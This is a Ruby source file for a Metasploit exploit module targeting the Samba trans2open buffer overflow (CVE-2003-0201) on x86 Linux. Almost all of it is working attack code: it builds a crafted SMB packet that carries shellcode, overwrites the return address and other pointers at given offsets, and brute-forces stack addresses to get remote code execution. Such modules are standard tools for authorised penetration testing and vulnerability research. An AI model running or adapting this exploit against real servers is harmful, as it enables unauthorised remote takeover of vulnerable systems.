157 lines
4.8 KiB
Ruby
157 lines
4.8 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::SMB
|
|
include Msf::Exploit::Brute
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Samba trans2open Overflow (Linux x86)',
|
|
'Description' => %q{
|
|
This exploits the buffer overflow found in Samba versions
|
|
2.2.0 to 2.2.8. This particular module is capable of
|
|
exploiting the flaw on x86 Linux systems that do not
|
|
have the noexec stack option set.
|
|
|
|
NOTE: Some older versions of RedHat do not seem to be vulnerable
|
|
since they apparently do not allow anonymous access to IPC.
|
|
},
|
|
'Author' => [ 'hdm', 'jduck' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2003-0201' ],
|
|
[ 'OSVDB', '4469' ],
|
|
[ 'BID', '7294' ],
|
|
[ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ]
|
|
],
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => "\x00",
|
|
'MinNops' => 512,
|
|
'StackAdjustment' => -3500
|
|
},
|
|
'Platform' => 'linux',
|
|
'Targets' =>
|
|
[
|
|
# tested OK - jjd:
|
|
# RedHat 7.2 samba-2.2.1a-4 - 0xbffffafc
|
|
# RedHat 9.0 samba-2.2.7a-7.9.0 - 0xbfffddfc
|
|
[ 'Samba 2.2.x - Bruteforce',
|
|
{
|
|
'PtrToNonZero' => 0xbffffff4, # near the bottom of the stack
|
|
'Offset' => 1055,
|
|
'Bruteforce' =>
|
|
{
|
|
'Start' => { 'Ret' => 0xbffffdfc },
|
|
'Stop' => { 'Ret' => 0xbfa00000 },
|
|
'Step' => 256
|
|
}
|
|
}
|
|
],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Apr 7 2003'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(139)
|
|
], self.class)
|
|
end
|
|
|
|
def brute_exploit(addrs)
|
|
|
|
curr_ret = addrs['Ret']
|
|
begin
|
|
print_status("Trying return address 0x%.8x..." % curr_ret)
|
|
|
|
connect
|
|
smb_login
|
|
|
|
if ! @checked_peerlm
|
|
if smb_peer_lm !~ /samba/i
|
|
fail_with(Failure::NoTarget, "This target is not a Samba server (#{smb_peer_lm}")
|
|
end
|
|
|
|
if smb_peer_lm =~ /Samba [34]\./i
|
|
fail_with(Failure::NoTarget, "This target is not a vulnerable Samba server (#{smb_peer_lm})")
|
|
end
|
|
end
|
|
|
|
@checked_peerlm = true
|
|
|
|
|
|
# This value *must* be 1988 to allow findrecv shellcode to work
|
|
# XXX: I'm not sure the above comment is true...
|
|
pattern = rand_text_english(1988)
|
|
|
|
# See the OSX and Solaris versions of this module for additional
|
|
# information.
|
|
|
|
# eip_off = 1071 - RH7.2 compiled with -ggdb instead of -O/-O2
|
|
# (rpmbuild -bp ; edited/reran config.status ; make)
|
|
eip_off = target['Offset']
|
|
ptr_to_non_zero = target['PtrToNonZero']
|
|
|
|
# Stuff the shellcode into the request
|
|
pattern[0, payload.encoded.length] = payload.encoded
|
|
|
|
# We want test true here, so we overwrite conn with a pointer
|
|
# to something non-zero.
|
|
#
|
|
# 222 if (IS_IPC(conn)) {
|
|
# 223 return(ERROR(ERRSRV,ERRaccess));
|
|
# 224 }
|
|
pattern[eip_off + 4, 4] = [ptr_to_non_zero - 0x30].pack('V')
|
|
|
|
# We want to avoid crashing on the following two derefences.
|
|
#
|
|
# 116 int error_packet(char *inbuf,char *outbuf,int error_class,uint32 error_code,int line)
|
|
# 117 {
|
|
# 118 int outsize = set_message(outbuf,0,0,True);
|
|
# 119 int cmd = CVAL(inbuf,smb_com);
|
|
pattern[eip_off + 8, 4] = [ptr_to_non_zero - 0x08].pack('V')
|
|
pattern[eip_off + 12, 4] = [ptr_to_non_zero - 0x24].pack('V')
|
|
|
|
# This stream covers the framepointer and the return address
|
|
#pattern[1199, 400] = [curr_ret].pack('N') * 100
|
|
pattern[eip_off, 4] = [curr_ret].pack('V')
|
|
|
|
trans =
|
|
"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
|
|
"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
|
|
"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
|
|
pattern
|
|
|
|
# puts "press any key"; $stdin.gets
|
|
|
|
sock.put(trans)
|
|
handler
|
|
|
|
rescue ::EOFError
|
|
rescue ::Rex::Proto::SMB::Exceptions::LoginError, ::Interrupt, ::RuntimeError
|
|
raise $!
|
|
rescue ::Exception => e
|
|
print_error("#{rhost} #{e}")
|
|
end
|
|
|
|
handler
|
|
disconnect
|
|
|
|
end
|
|
|
|
end
|